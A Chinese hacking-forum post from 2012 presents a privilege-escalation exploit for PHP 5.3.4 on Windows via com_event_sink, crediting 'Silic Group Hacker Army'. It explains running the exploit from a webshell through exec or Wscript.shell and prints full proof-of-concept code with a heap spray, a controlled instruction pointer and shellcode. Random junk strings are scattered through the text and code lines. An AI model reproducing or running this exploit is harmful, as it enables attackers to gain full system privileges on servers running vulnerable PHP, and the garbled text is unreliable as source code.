找回密码
 立即注册
查看: 2600|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中% l9 o2 H* A$ {( v+ J9 S3 b; w
' E  T9 W1 V2 j& `
测试方法如下:cmd /c x:\php\php.exe x:\test.php
5 i+ j( v3 l* t- m* K5 C3 E7 C' B8 F& o& |: V3 d* \/ x$ F  l0 o! a8 P
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php  P8 k! b* y. \+ q0 q2 a$ k4 w& Q
这里是两个测试的截图:
! X( G, `0 w7 n2 n: r( L/ o+ V4 Z7 T. w; N" `

! t- C7 t9 e) C4 j0 r9 y7 q9 `
4 b# H# Y+ w1 W" E; o
0 `; Q7 ]7 ]0 _3 j( i5 m9 \0 ?2 B
" j/ N, R1 C* \成功利用此漏洞的攻击者将获得系统的最高权限9 N) E& ?6 J- W+ i2 _

3 w4 s& x9 v% `6 {2 J% E9 n- c5 J
; H& L% s  T2 i+ [+ y
$ V# t& p) V5 {) T, n6 U6 x& H* V) p
4 s" a1 f9 J! m: y: u
" b9 u9 v/ ^( o& M( w. G关于漏洞分析稍后附上。一下是PoC代码:
' `8 W8 }- p% h# p* I) T7 v. d- m, N5 b% B9 {
<?php
+ m  N& u( B% }9 y) G//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
  z( O) Z8 x' P$ t. x3 f; Z! P/ h//$eip ="\x44\x43\x42\x41";4 T  x( E5 Y2 I, a' z
$eip= "\x4b\xe8\x57\x78";" K+ G. L( F$ ~  }
$eax ="\x80\x01\x8d\x04";, I7 O6 O7 Z: }7 M! i
$deodrant="";- g5 V$ S+ ^" I: E  |
$axespray = str_repeat($eip.$eax,0x80);3 T" N8 _3 |% o) W# \6 f$ ?1 X: S
//048d0190
8 ]; l& i! p8 {8 n1 qecho strlen($axespray);
" \# b) M- L5 Wecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";- ?6 m; Q- A+ S: w4 w7 u
echo "Silic Group Hacker Army - BlackBap.Org";
& z9 L# p' f+ o. [//19200 ==4B32 4b00  p- b9 ?. {/ h$ \
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
1 c9 h6 M% ?6 T5 ], j! ^: n$terminate = "T";7 L) _5 J7 K; W' H7 A% g
$u[] =$deodrant;
2 c5 P* m; e4 g1 p3 i3 q( g$r[] =$deodrant.$terminate;8 b2 A: b2 T% H' ]7 d+ ~
$a[] =$deodrant.$terminate;+ F! y9 G% K& K' ]: n  K
$s[] =$deodrant.$terminate;' r+ i& q  ?1 y1 e
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的9 {9 \) `8 _. ]
$vVar = new VARIANT(0x048d0000+180);
/ y: m* N3 j: r' @9 c: b9 s//弹窗代码(Shellcode)* W# l$ l- [, r! I: O! f& x
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";5 U6 I5 a* c, d& Q
$var2 = new VARIANT(0x41414242);6 J8 m3 j3 W- \3 _
com_event_sink($vVar,$var2,$buffer);5 L! W' W' C" P! _, r$ V+ ^$ p
?>. }2 r! V: h) ^% ~$ _( J; p# E

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表